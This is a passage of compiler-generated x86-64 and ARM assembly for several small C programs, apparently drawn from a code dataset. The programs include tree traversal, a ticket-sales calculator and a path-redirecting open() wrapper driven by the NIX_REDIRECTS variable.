.global postorder
.syntax unified
.arm
.fpu softvfp
.type postorder, %function
postorder:
@ args = 0, pretend = 0, frame = 8
@ frame_needed = 1, uses_anonymous_args = 0
push {fp, lr}
add fp, sp, #4
sub sp, sp, #8
str r0, [fp, #-8]
ldr r3, [fp, #-8]
cmp r3, #0
beq .L18
ldr r3, [fp, #-8]
ldr r3, [r3, #4]
mov r0, r3
bl postorder
ldr r3, [fp, #-8]
ldr r3, [r3, #8]
mov r0, r3
bl postorder
ldr r3, [fp, #-8]
ldrb r3, [r3] @ zero_extendqisi2
mov r1, r3
ldr r0, .L19
bl printf
.L18:
nop
sub sp, fp, #4
@ sp needed
pop {fp, pc}
.L20:
.align 2
.L19:
.word .LC0
.size postorder, .-postorder
.section .rodata
.align 2
.LC1:
.ascii "\012Enter choice:\0121-Build Tree\0122-Inorder trav"
.ascii "ersal\0123-Preorder traversal\000"
.align 2
.LC2:
.ascii "\0124-postorder\0125-exit\000"
.align 2
.LC3:
.ascii "%d\000"
.align 2
.LC4:
.ascii "Enter the elements of tree and finally press new li"
.ascii "ne:\000"
.align 2
.LC5:
.ascii "%s\000"
.align 2
.LC6:
.ascii "inorder traversal is:\000"
.align 2
.LC7:
.ascii "Preorder traversal is:\000"
.align 2
.LC8:
.ascii "Postorder traversal is:\000"
.align 2
.LC9:
.word __stack_chk_guard
.text
.align 2
.global main
.syntax unified
.arm
.fpu softvfp
.type main, %function
main:
@ args = 0, pretend = 0, frame = 16
@ frame_needed = 1, uses_anonymous_args = 0
push {fp, lr}
add fp, sp, #4
sub sp, sp, #16
ldr r3, .L30
ldr r3, [r3]
str r3, [fp, #-8]
mov r3,#0
mov r3, #0
str r3, [fp, #-12]
.L28:
ldr r0, .L30+4
bl printf
ldr r0, .L30+8
bl puts
sub r3, fp, #16
mov r1, r3
ldr r0, .L30+12
bl __isoc99_scanf
ldr r3, [fp, #-16]
sub r3, r3, #1
cmp r3, #3
ldrls pc, [pc, r3, asl #2]
b .L22
.L24:
.word .L27
.word .L26
.word .L25
.word .L23
.L27:
ldr r0, .L30+16
bl puts
ldr r1, .L30+20
ldr r0, .L30+24
bl __isoc99_scanf
mov r0, #0
bl buildtree
str r0, [fp, #-12]
b .L22
.L26:
ldr r0, .L30+28
bl puts
ldr r0, [fp, #-12]
bl inorder
b .L22
.L25:
ldr r0, .L30+32
bl puts
ldr r0, [fp, #-12]
bl preorder
b .L22
.L23:
ldr r0, .L30+36
bl puts
ldr r0, [fp, #-12]
bl postorder
nop
.L22:
ldr r3, [fp, #-16]
cmp r3, #5
bne .L28
nop
ldr r3, .L30
ldr r2, [r3]
ldr r3, [fp, #-8]
eors r2, r3, r2
mov r3, #0
beq .L29
bl __stack_chk_fail
.L29:
sub sp, fp, #4
@ sp needed
pop {fp, pc}
.L31:
.align 2
.L30:
.word .LC9
.word .LC1
.word .LC2
.word .LC3
.word .LC4
.word a
.word .LC5
.word .LC6
.word .LC7
.word .LC8
.size main, .-main
.ident "GCC: (Ubuntu 9.4.0-1ubuntu1~20.04.2) 9.4.0"
.section .note.GNU-stack,"",%progbits
|
.file "924334.c"
.intel_syntax noprefix
.text
.ident "GCC: (Ubuntu 10.5.0-1ubuntu1~20.04) 10.5.0"
.section .note.GNU-stack,"",@progbits
.section .note.gnu.property,"a"
.align 8
.long 1f - 0f
.long 4f - 1f
.long 5
0:
.string "GNU"
1:
.align 8
.long 0xc0000002
.long 3f - 2f
2:
.long 0x3
3:
.align 8
4:
| .arch armv5t
.eabi_attribute 20, 1
.eabi_attribute 21, 1
.eabi_attribute 23, 3
.eabi_attribute 24, 1
.eabi_attribute 25, 1
.eabi_attribute 26, 2
.eabi_attribute 30, 6
.eabi_attribute 34, 0
.eabi_attribute 18, 4
.file "924334.c"
.text
.ident "GCC: (Ubuntu 9.4.0-1ubuntu1~20.04.2) 9.4.0"
.section .note.GNU-stack,"",%progbits
|
.file "139015.c"
.intel_syntax noprefix
.text
.section .rodata
.LC0:
.string "%d\n"
.text
.globl main
.type main, @function
main:
.LFB6:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
sub rsp, 16
mov DWORD PTR -12[rbp], 10
mov DWORD PTR -8[rbp], 20
mov eax, DWORD PTR -12[rbp]
cmp eax, DWORD PTR -8[rbp]
setl al
movzx eax, al
mov DWORD PTR -4[rbp], eax
mov eax, DWORD PTR -4[rbp]
mov esi, eax
lea rdi, .LC0[rip]
mov eax, 0
call printf@PLT
nop
leave
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE6:
.size main, .-main
.ident "GCC: (Ubuntu 10.5.0-1ubuntu1~20.04) 10.5.0"
.section .note.GNU-stack,"",@progbits
.section .note.gnu.property,"a"
.align 8
.long 1f - 0f
.long 4f - 1f
.long 5
0:
.string "GNU"
1:
.align 8
.long 0xc0000002
.long 3f - 2f
2:
.long 0x3
3:
.align 8
4:
| .arch armv5t
.eabi_attribute 20, 1
.eabi_attribute 21, 1
.eabi_attribute 23, 3
.eabi_attribute 24, 1
.eabi_attribute 25, 1
.eabi_attribute 26, 2
.eabi_attribute 30, 6
.eabi_attribute 34, 0
.eabi_attribute 18, 4
.file "139015.c"
.text
.section .rodata
.align 2
.LC0:
.ascii "%d\012\000"
.text
.align 2
.global main
.syntax unified
.arm
.fpu softvfp
.type main, %function
main:
@ args = 0, pretend = 0, frame = 16
@ frame_needed = 1, uses_anonymous_args = 0
push {fp, lr}
add fp, sp, #4
sub sp, sp, #16
mov r3, #10
str r3, [fp, #-16]
mov r3, #20
str r3, [fp, #-12]
ldr r2, [fp, #-16]
ldr r3, [fp, #-12]
cmp r2, r3
movlt r3, #1
movge r3, #0
and r3, r3, #255
str r3, [fp, #-8]
ldr r1, [fp, #-8]
ldr r0, .L2
bl printf
nop
sub sp, fp, #4
@ sp needed
pop {fp, pc}
.L3:
.align 2
.L2:
.word .LC0
.size main, .-main
.ident "GCC: (Ubuntu 9.4.0-1ubuntu1~20.04.2) 9.4.0"
.section .note.GNU-stack,"",%progbits
|
.file "335198.c"
.intel_syntax noprefix
.text
.section .rodata
.align 8
.LC1:
.string "\nEnter Number of Box Tickets Sold: "
.LC2:
.string "%f"
.align 8
.LC3:
.string "Enter Number of Sideline Tickets Sold: "
.align 8
.LC4:
.string "Enter Number of Premium Tickets Sold: "
.align 8
.LC5:
.string "Enter Number of General Admission Tickets Sold: "
.align 8
.LC7:
.string "\n\n%1.0f Box tickets at $%1.0f each were sold for a total of: $%1.2f"
.align 8
.LC9:
.string "\n%1.0f Sideline tickets at $%1.0f each were sold for a total of: $%1.2f"
.align 8
.LC11:
.string "\n%1.0f Premium tickets at $%1.0f each were sold for a total of: $%1.2f"
.align 8
.LC13:
.string "\n%1.0f General Admission tickets at $%1.0f each were sold for a total of: $%1.2f"
.align 8
.LC14:
.string "\n\nTotal number of tickets sold:\t\t%1.0f"
.align 8
.LC15:
.string "\nTotal Sale Amount:\t\t\t$%1.2f\n\n"
.text
.globl main
.type main, @function
main:
.LFB0:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
sub rsp, 32
mov rax, QWORD PTR fs:40
mov QWORD PTR -8[rbp], rax
xor eax, eax
pxor xmm0, xmm0
movss DWORD PTR -32[rbp], xmm0
pxor xmm0, xmm0
movss DWORD PTR -28[rbp], xmm0
pxor xmm0, xmm0
movss DWORD PTR -24[rbp], xmm0
pxor xmm0, xmm0
movss DWORD PTR -20[rbp], xmm0
pxor xmm0, xmm0
movss DWORD PTR -16[rbp], xmm0
pxor xmm0, xmm0
movss DWORD PTR -12[rbp], xmm0
lea rdi, .LC1[rip]
mov eax, 0
call printf@PLT
lea rax, -32[rbp]
mov rsi, rax
lea rdi, .LC2[rip]
mov eax, 0
call __isoc99_scanf@PLT
lea rdi, .LC3[rip]
mov eax, 0
call printf@PLT
lea rax, -28[rbp]
mov rsi, rax
lea rdi, .LC2[rip]
mov eax, 0
call __isoc99_scanf@PLT
lea rdi, .LC4[rip]
mov eax, 0
call printf@PLT
lea rax, -24[rbp]
mov rsi, rax
lea rdi, .LC2[rip]
mov eax, 0
call __isoc99_scanf@PLT
lea rdi, .LC5[rip]
mov eax, 0
call printf@PLT
lea rax, -20[rbp]
mov rsi, rax
lea rdi, .LC2[rip]
mov eax, 0
call __isoc99_scanf@PLT
movss xmm0, DWORD PTR -32[rbp]
pxor xmm1, xmm1
cvtss2sd xmm1, xmm0
movsd xmm0, QWORD PTR .LC6[rip]
mulsd xmm1, xmm0
movss xmm0, DWORD PTR -32[rbp]
pxor xmm3, xmm3
cvtss2sd xmm3, xmm0
movq rax, xmm3
movsd xmm0, QWORD PTR .LC6[rip]
movapd xmm2, xmm1
movapd xmm1, xmm0
movq xmm0, rax
lea rdi, .LC7[rip]
mov eax, 3
call printf@PLT
movss xmm0, DWORD PTR -28[rbp]
pxor xmm1, xmm1
cvtss2sd xmm1, xmm0
movsd xmm0, QWORD PTR .LC8[rip]
mulsd xmm1, xmm0
movss xmm0, DWORD PTR -28[rbp]
pxor xmm4, xmm4
cvtss2sd xmm4, xmm0
movq rax, xmm4
movsd xmm0, QWORD PTR .LC8[rip]
movapd xmm2, xmm1
movapd xmm1, xmm0
movq xmm0, rax
lea rdi, .LC9[rip]
mov eax, 3
call printf@PLT
movss xmm0, DWORD PTR -24[rbp]
pxor xmm1, xmm1
cvtss2sd xmm1, xmm0
movsd xmm0, QWORD PTR .LC10[rip]
mulsd xmm1, xmm0
movss xmm0, DWORD PTR -24[rbp]
pxor xmm5, xmm5
cvtss2sd xmm5, xmm0
movq rax, xmm5
movsd xmm0, QWORD PTR .LC10[rip]
movapd xmm2, xmm1
movapd xmm1, xmm0
movq xmm0, rax
lea rdi, .LC11[rip]
mov eax, 3
call printf@PLT
movss xmm0, DWORD PTR -20[rbp]
pxor xmm1, xmm1
cvtss2sd xmm1, xmm0
movsd xmm0, QWORD PTR .LC12[rip]
mulsd xmm1, xmm0
movss xmm0, DWORD PTR -20[rbp]
pxor xmm6, xmm6
cvtss2sd xmm6, xmm0
movq rax, xmm6
movsd xmm0, QWORD PTR .LC12[rip]
movapd xmm2, xmm1
movapd xmm1, xmm0
movq xmm0, rax
lea rdi, .LC13[rip]
mov eax, 3
call printf@PLT
movss xmm1, DWORD PTR -32[rbp]
movss xmm0, DWORD PTR -28[rbp]
addss xmm1, xmm0
movss xmm0, DWORD PTR -24[rbp]
addss xmm1, xmm0
movss xmm0, DWORD PTR -20[rbp]
addss xmm0, xmm1
movss DWORD PTR -16[rbp], xmm0
movss xmm0, DWORD PTR -32[rbp]
pxor xmm1, xmm1
cvtss2sd xmm1, xmm0
movsd xmm0, QWORD PTR .LC6[rip]
mulsd xmm1, xmm0
movss xmm0, DWORD PTR -28[rbp]
pxor xmm2, xmm2
cvtss2sd xmm2, xmm0
movsd xmm0, QWORD PTR .LC8[rip]
mulsd xmm0, xmm2
addsd xmm1, xmm0
movss xmm0, DWORD PTR -24[rbp]
pxor xmm2, xmm2
cvtss2sd xmm2, xmm0
movsd xmm0, QWORD PTR .LC10[rip]
mulsd xmm0, xmm2
addsd xmm1, xmm0
movss xmm0, DWORD PTR -20[rbp]
pxor xmm2, xmm2
cvtss2sd xmm2, xmm0
movsd xmm0, QWORD PTR .LC12[rip]
mulsd xmm0, xmm2
addsd xmm0, xmm1
cvtsd2ss xmm0, xmm0
movss DWORD PTR -12[rbp], xmm0
pxor xmm7, xmm7
cvtss2sd xmm7, DWORD PTR -16[rbp]
movq rax, xmm7
movq xmm0, rax
lea rdi, .LC14[rip]
mov eax, 1
call printf@PLT
pxor xmm3, xmm3
cvtss2sd xmm3, DWORD PTR -12[rbp]
movq rax, xmm3
movq xmm0, rax
lea rdi, .LC15[rip]
mov eax, 1
call printf@PLT
mov eax, 0
mov rdx, QWORD PTR -8[rbp]
sub rdx, QWORD PTR fs:40
je .L3
call __stack_chk_fail@PLT
.L3:
leave
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE0:
.size main, .-main
.section .rodata
.align 8
.LC6:
.long 0
.long 1081032704
.align 8
.LC8:
.long 0
.long 1079574528
.align 8
.LC10:
.long 0
.long 1078525952
.align 8
.LC12:
.long 0
.long 1077477376
.ident "GCC: (Ubuntu 10.5.0-1ubuntu1~20.04) 10.5.0"
.section .note.GNU-stack,"",@progbits
.section .note.gnu.property,"a"
.align 8
.long 1f - 0f
.long 4f - 1f
.long 5
0:
.string "GNU"
1:
.align 8
.long 0xc0000002
.long 3f - 2f
2:
.long 0x3
3:
.align 8
4:
| .arch armv5t
.eabi_attribute 20, 1
.eabi_attribute 21, 1
.eabi_attribute 23, 3
.eabi_attribute 24, 1
.eabi_attribute 25, 1
.eabi_attribute 26, 2
.eabi_attribute 30, 6
.eabi_attribute 34, 0
.eabi_attribute 18, 4
.file "335198.c"
.text
.section .rodata
.align 2
.LC0:
.ascii "\012Enter Number of Box Tickets Sold: \000"
.align 2
.LC1:
.ascii "%f\000"
.align 2
.LC2:
.ascii "Enter Number of Sideline Tickets Sold: \000"
.align 2
.LC3:
.ascii "Enter Number of Premium Tickets Sold: \000"
.align 2
.LC4:
.ascii "Enter Number of General Admission Tickets Sold: \000"
.global __aeabi_f2d
.global __aeabi_dmul
.align 2
.LC5:
.ascii "\012\012%1.0f Box tickets at $%1.0f each were sold "
.ascii "for a total of: $%1.2f\000"
.align 2
.LC6:
.ascii "\012%1.0f Sideline tickets at $%1.0f each were sold"
.ascii " for a total of: $%1.2f\000"
.align 2
.LC7:
.ascii "\012%1.0f Premium tickets at $%1.0f each were sold "
.ascii "for a total of: $%1.2f\000"
.align 2
.LC8:
.ascii "\012%1.0f General Admission tickets at $%1.0f each "
.ascii "were sold for a total of: $%1.2f\000"
.global __aeabi_fadd
.global __aeabi_dadd
.global __aeabi_d2f
.align 2
.LC9:
.ascii "\012\012Total number of tickets sold:\011\011%1.0f\000"
.align 2
.LC10:
.ascii "\012Total Sale Amount:\011\011\011$%1.2f\012\012\000"
.align 2
.LC11:
.word __stack_chk_guard
.text
.align 2
.global main
.syntax unified
.arm
.fpu softvfp
.type main, %function
main:
@ args = 0, pretend = 0, frame = 32
@ frame_needed = 1, uses_anonymous_args = 0
push {r4, r5, fp, lr}
add fp, sp, #12
sub sp, sp, #48
ldr r3, .L4
ldr r3, [r3]
str r3, [fp, #-16]
mov r3,#0
mov r3, #0
str r3, [fp, #-40] @ float
mov r3, #0
str r3, [fp, #-36] @ float
mov r3, #0
str r3, [fp, #-32] @ float
mov r3, #0
str r3, [fp, #-28] @ float
mov r3, #0
str r3, [fp, #-24] @ float
mov r3, #0
str r3, [fp, #-20] @ float
ldr r0, .L4+4
bl printf
sub r3, fp, #40
mov r1, r3
ldr r0, .L4+8
bl __isoc99_scanf
ldr r0, .L4+12
bl printf
sub r3, fp, #36
mov r1, r3
ldr r0, .L4+8
bl __isoc99_scanf
ldr r0, .L4+16
bl printf
sub r3, fp, #32
mov r1, r3
ldr r0, .L4+8
bl __isoc99_scanf
ldr r0, .L4+20
bl printf
sub r3, fp, #28
mov r1, r3
ldr r0, .L4+8
bl __isoc99_scanf
ldr r3, [fp, #-40] @ float
mov r0, r3
bl __aeabi_f2d
mov r4, r0
mov r5, r1
ldr r3, [fp, #-40] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L4+24
bl __aeabi_dmul
mov r2, r0
mov r3, r1
str r2, [sp, #8]
str r3, [sp, #12]
mov r2, #0
ldr r3, .L4+24
stm sp, {r2-r3}
mov r2, r4
mov r3, r5
ldr r0, .L4+28
bl printf
ldr r3, [fp, #-36] @ float
mov r0, r3
bl __aeabi_f2d
mov r4, r0
mov r5, r1
ldr r3, [fp, #-36] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L4+32
bl __aeabi_dmul
mov r2, r0
mov r3, r1
str r2, [sp, #8]
str r3, [sp, #12]
mov r2, #0
ldr r3, .L4+32
stm sp, {r2-r3}
mov r2, r4
mov r3, r5
ldr r0, .L4+36
bl printf
ldr r3, [fp, #-32] @ float
mov r0, r3
bl __aeabi_f2d
mov r4, r0
mov r5, r1
ldr r3, [fp, #-32] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L4+40
bl __aeabi_dmul
mov r2, r0
mov r3, r1
str r2, [sp, #8]
str r3, [sp, #12]
mov r2, #0
ldr r3, .L4+40
stm sp, {r2-r3}
mov r2, r4
mov r3, r5
ldr r0, .L4+44
bl printf
ldr r3, [fp, #-28] @ float
mov r0, r3
bl __aeabi_f2d
mov r4, r0
mov r5, r1
ldr r3, [fp, #-28] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L4+48
bl __aeabi_dmul
mov r2, r0
mov r3, r1
str r2, [sp, #8]
str r3, [sp, #12]
mov r2, #0
ldr r3, .L4+48
stm sp, {r2-r3}
mov r2, r4
mov r3, r5
ldr r0, .L4+52
bl printf
ldr r3, [fp, #-40] @ float
ldr r2, [fp, #-36] @ float
mov r1, r2
mov r0, r3
bl __aeabi_fadd
mov r3, r0
mov r2, r3
ldr r3, [fp, #-32] @ float
mov r1, r3
mov r0, r2
bl __aeabi_fadd
mov r3, r0
mov r2, r3
ldr r3, [fp, #-28] @ float
mov r1, r3
mov r0, r2
bl __aeabi_fadd
mov r3, r0
str r3, [fp, #-24] @ float
ldr r3, [fp, #-40] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L4+24
bl __aeabi_dmul
mov r2, r0
mov r3, r1
mov r4, r2
mov r5, r3
ldr r3, [fp, #-36] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L4+32
bl __aeabi_dmul
mov r2, r0
mov r3, r1
mov r0, r4
mov r1, r5
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r4, r2
mov r5, r3
ldr r3, [fp, #-32] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L4+40
bl __aeabi_dmul
mov r2, r0
mov r3, r1
mov r0, r4
mov r1, r5
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r4, r2
mov r5, r3
ldr r3, [fp, #-28] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L4+48
bl __aeabi_dmul
mov r2, r0
mov r3, r1
mov r0, r4
mov r1, r5
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r0, r2
mov r1, r3
bl __aeabi_d2f
mov r3, r0
str r3, [fp, #-20] @ float
ldr r0, [fp, #-24] @ float
bl __aeabi_f2d
mov r2, r0
mov r3, r1
ldr r0, .L4+56
bl printf
ldr r0, [fp, #-20] @ float
bl __aeabi_f2d
mov r2, r0
mov r3, r1
ldr r0, .L4+60
bl printf
mov r3, #0
ldr r2, .L4
ldr r1, [r2]
ldr r2, [fp, #-16]
eors r1, r2, r1
mov r2, #0
beq .L3
bl __stack_chk_fail
.L3:
mov r0, r3
sub sp, fp, #12
@ sp needed
pop {r4, r5, fp, pc}
.L5:
.align 2
.L4:
.word .LC11
.word .LC0
.word .LC1
.word .LC2
.word .LC3
.word .LC4
.word 1081032704
.word .LC5
.word 1079574528
.word .LC6
.word 1078525952
.word .LC7
.word 1077477376
.word .LC8
.word .LC9
.word .LC10
.size main, .-main
.ident "GCC: (Ubuntu 9.4.0-1ubuntu1~20.04.2) 9.4.0"
.section .note.GNU-stack,"",%progbits
|
.file "847450.c"
.intel_syntax noprefix
.text
.local nrRedirects
.comm nrRedirects,4,4
.local from
.comm from,1024,32
.local to
.comm to,1024,32
.local isInitialized
.comm isInitialized,4,4
.section .rodata
.LC0:
.string "NIX_REDIRECTS"
.text
.type init, @function
init:
.LFB6:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
sub rsp, 48
mov eax, DWORD PTR isInitialized[rip]
test eax, eax
jne .L9
lea rdi, .LC0[rip]
call getenv@PLT
mov QWORD PTR -32[rbp], rax
cmp QWORD PTR -32[rbp], 0
je .L10
mov DWORD PTR isInitialized[rip], 1
mov rax, QWORD PTR -32[rbp]
mov rdi, rax
call strlen@PLT
add rax, 1
mov rdi, rax
call malloc@PLT
mov QWORD PTR -24[rbp], rax
mov rdx, QWORD PTR -32[rbp]
mov rax, QWORD PTR -24[rbp]
mov rsi, rdx
mov rdi, rax
call strcpy@PLT
mov rax, QWORD PTR -24[rbp]
mov QWORD PTR -40[rbp], rax
jmp .L5
.L8:
mov rax, QWORD PTR -16[rbp]
mov BYTE PTR [rax], 0
mov eax, DWORD PTR nrRedirects[rip]
cdqe
lea rcx, 0[0+rax*8]
lea rdx, from[rip]
mov rax, QWORD PTR -40[rbp]
mov QWORD PTR [rcx+rdx], rax
mov rax, QWORD PTR -16[rbp]
add rax, 1
mov QWORD PTR -40[rbp], rax
mov eax, DWORD PTR nrRedirects[rip]
cdqe
lea rcx, 0[0+rax*8]
lea rdx, to[rip]
mov rax, QWORD PTR -40[rbp]
mov QWORD PTR [rcx+rdx], rax
mov eax, DWORD PTR nrRedirects[rip]
add eax, 1
mov DWORD PTR nrRedirects[rip], eax
mov eax, DWORD PTR nrRedirects[rip]
cmp eax, 128
je .L11
mov rax, QWORD PTR -40[rbp]
mov esi, 58
mov rdi, rax
call strchr@PLT
mov QWORD PTR -8[rbp], rax
cmp QWORD PTR -8[rbp], 0
je .L12
mov rax, QWORD PTR -8[rbp]
mov BYTE PTR [rax], 0
mov rax, QWORD PTR -8[rbp]
add rax, 1
mov QWORD PTR -40[rbp], rax
.L5:
mov rax, QWORD PTR -40[rbp]
mov esi, 61
mov rdi, rax
call strchr@PLT
mov QWORD PTR -16[rbp], rax
cmp QWORD PTR -16[rbp], 0
jne .L8
jmp .L1
.L9:
nop
jmp .L1
.L10:
nop
jmp .L1
.L11:
nop
jmp .L1
.L12:
nop
.L1:
leave
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE6:
.size init, .-init
.section .init_array,"aw"
.align 8
.quad init
.section .rodata
.LC1:
.string "%s%s"
.text
.type rewrite, @function
rewrite:
.LFB7:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
sub rsp, 32
mov QWORD PTR -24[rbp], rdi
mov QWORD PTR -32[rbp], rsi
cmp QWORD PTR -24[rbp], 0
jne .L14
mov rax, QWORD PTR -24[rbp]
jmp .L15
.L14:
mov DWORD PTR -8[rbp], 0
jmp .L16
.L19:
mov eax, DWORD PTR -8[rbp]
cdqe
lea rdx, 0[0+rax*8]
lea rax, from[rip]
mov rax, QWORD PTR [rdx+rax]
mov rdi, rax
call strlen@PLT
mov DWORD PTR -4[rbp], eax
mov eax, DWORD PTR -4[rbp]
movsx rdx, eax
mov eax, DWORD PTR -8[rbp]
cdqe
lea rcx, 0[0+rax*8]
lea rax, from[rip]
mov rcx, QWORD PTR [rcx+rax]
mov rax, QWORD PTR -24[rbp]
mov rsi, rcx
mov rdi, rax
call strncmp@PLT
test eax, eax
je .L17
add DWORD PTR -8[rbp], 1
jmp .L16
.L17:
mov eax, DWORD PTR -4[rbp]
movsx rdx, eax
mov rax, QWORD PTR -24[rbp]
lea rcx, [rdx+rax]
mov eax, DWORD PTR -8[rbp]
cdqe
lea rdx, 0[0+rax*8]
lea rax, to[rip]
mov rdx, QWORD PTR [rdx+rax]
mov rax, QWORD PTR -32[rbp]
mov r8, rcx
mov rcx, rdx
lea rdx, .LC1[rip]
mov esi, 4096
mov rdi, rax
mov eax, 0
call snprintf@PLT
cmp eax, 4095
jle .L18
call abort@PLT
.L18:
mov rax, QWORD PTR -32[rbp]
jmp .L15
.L16:
mov eax, DWORD PTR nrRedirects[rip]
cmp DWORD PTR -8[rbp], eax
jl .L19
mov rax, QWORD PTR -24[rbp]
.L15:
leave
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE7:
.size rewrite, .-rewrite
.type rewrite_non_const, @function
rewrite_non_const:
.LFB8:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
sub rsp, 16
mov QWORD PTR -8[rbp], rdi
mov QWORD PTR -16[rbp], rsi
mov rdx, QWORD PTR -16[rbp]
mov rax, QWORD PTR -8[rbp]
mov rsi, rdx
mov rdi, rax
call rewrite
leave
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE8:
.size rewrite_non_const, .-rewrite_non_const
.type open_needs_mode, @function
open_needs_mode:
.LFB9:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
mov DWORD PTR -4[rbp], edi
mov eax, DWORD PTR -4[rbp]
and eax, 64
test eax, eax
jne .L23
mov eax, DWORD PTR -4[rbp]
and eax, 4259840
cmp eax, 4259840
jne .L24
.L23:
mov eax, 1
jmp .L26
.L24:
mov eax, 0
.L26:
pop rbp
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE9:
.size open_needs_mode, .-open_needs_mode
.section .rodata
.LC2:
.string "open"
.text
.globl open
.type open, @function
open:
.LFB10:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
sub rsp, 4096
or QWORD PTR [rsp], 0
sub rsp, 256
mov QWORD PTR -4344[rbp], rdi
mov DWORD PTR -4348[rbp], esi
mov QWORD PTR -160[rbp], rdx
mov QWORD PTR -152[rbp], rcx
mov QWORD PTR -144[rbp], r8
mov QWORD PTR -136[rbp], r9
test al, al
je .L28
movaps XMMWORD PTR -128[rbp], xmm0
movaps XMMWORD PTR -112[rbp], xmm1
movaps XMMWORD PTR -96[rbp], xmm2
movaps XMMWORD PTR -80[rbp], xmm3
movaps XMMWORD PTR -64[rbp], xmm4
movaps XMMWORD PTR -48[rbp], xmm5
movaps XMMWORD PTR -32[rbp], xmm6
movaps XMMWORD PTR -16[rbp], xmm7
.L28:
mov rax, QWORD PTR fs:40
mov QWORD PTR -184[rbp], rax
xor eax, eax
lea rsi, .LC2[rip]
mov rdi, -1
call dlsym@PLT
mov QWORD PTR -4320[rbp], rax
mov DWORD PTR -4324[rbp], 0
mov eax, DWORD PTR -4348[rbp]
mov edi, eax
call open_needs_mode
test eax, eax
je .L29
mov DWORD PTR -4312[rbp], 16
mov DWORD PTR -4308[rbp], 48
lea rax, 16[rbp]
mov QWORD PTR -4304[rbp], rax
lea rax, -176[rbp]
mov QWORD PTR -4296[rbp], rax
mov eax, DWORD PTR -4312[rbp]
cmp eax, 47
ja .L30
mov rax, QWORD PTR -4296[rbp]
mov edx, DWORD PTR -4312[rbp]
mov edx, edx
add rax, rdx
mov edx, DWORD PTR -4312[rbp]
add edx, 8
mov DWORD PTR -4312[rbp], edx
jmp .L31
.L30:
mov rax, QWORD PTR -4304[rbp]
lea rdx, 8[rax]
mov QWORD PTR -4304[rbp], rdx
.L31:
mov eax, DWORD PTR [rax]
mov DWORD PTR -4324[rbp], eax
.L29:
lea rdx, -4288[rbp]
mov rax, QWORD PTR -4344[rbp]
mov rsi, rdx
mov rdi, rax
call rewrite
mov rdi, rax
mov edx, DWORD PTR -4324[rbp]
mov eax, DWORD PTR -4348[rbp]
mov rcx, QWORD PTR -4320[rbp]
mov esi, eax
call rcx
mov rcx, QWORD PTR -184[rbp]
sub rcx, QWORD PTR fs:40
je .L33
call __stack_chk_fail@PLT
.L33:
leave
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE10:
.size open, .-open
.section .rodata
.LC3:
.string "open64"
.text
.globl open64
.type open64, @function
open64:
.LFB11:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
sub rsp, 4096
or QWORD PTR [rsp], 0
sub rsp, 256
mov QWORD PTR -4344[rbp], rdi
mov DWORD PTR -4348[rbp], esi
mov QWORD PTR -160[rbp], rdx
mov QWORD PTR -152[rbp], rcx
mov QWORD PTR -144[rbp], r8
mov QWORD PTR -136[rbp], r9
test al, al
je .L35
movaps XMMWORD PTR -128[rbp], xmm0
movaps XMMWORD PTR -112[rbp], xmm1
movaps XMMWORD PTR -96[rbp], xmm2
movaps XMMWORD PTR -80[rbp], xmm3
movaps XMMWORD PTR -64[rbp], xmm4
movaps XMMWORD PTR -48[rbp], xmm5
movaps XMMWORD PTR -32[rbp], xmm6
movaps XMMWORD PTR -16[rbp], xmm7
.L35:
mov rax, QWORD PTR fs:40
mov QWORD PTR -184[rbp], rax
xor eax, eax
lea rsi, .LC3[rip]
mov rdi, -1
call dlsym@PLT
mov QWORD PTR -4320[rbp], rax
mov DWORD PTR -4324[rbp], 0
mov eax, DWORD PTR -4348[rbp]
mov edi, eax
call open_needs_mode
test eax, eax
je .L36
mov DWORD PTR -4312[rbp], 16
mov DWORD PTR -4308[rbp], 48
lea rax, 16[rbp]
mov QWORD PTR -4304[rbp], rax
lea rax, -176[rbp]
mov QWORD PTR -4296[rbp], rax
mov eax, DWORD PTR -4312[rbp]
cmp eax, 47
ja .L37
mov rax, QWORD PTR -4296[rbp]
mov edx, DWORD PTR -4312[rbp]
mov edx, edx
add rax, rdx
mov edx, DWORD PTR -4312[rbp]
add edx, 8
mov DWORD PTR -4312[rbp], edx
jmp .L38
.L37:
mov rax, QWORD PTR -4304[rbp]
lea rdx, 8[rax]
mov QWORD PTR -4304[rbp], rdx
.L38:
mov eax, DWORD PTR [rax]
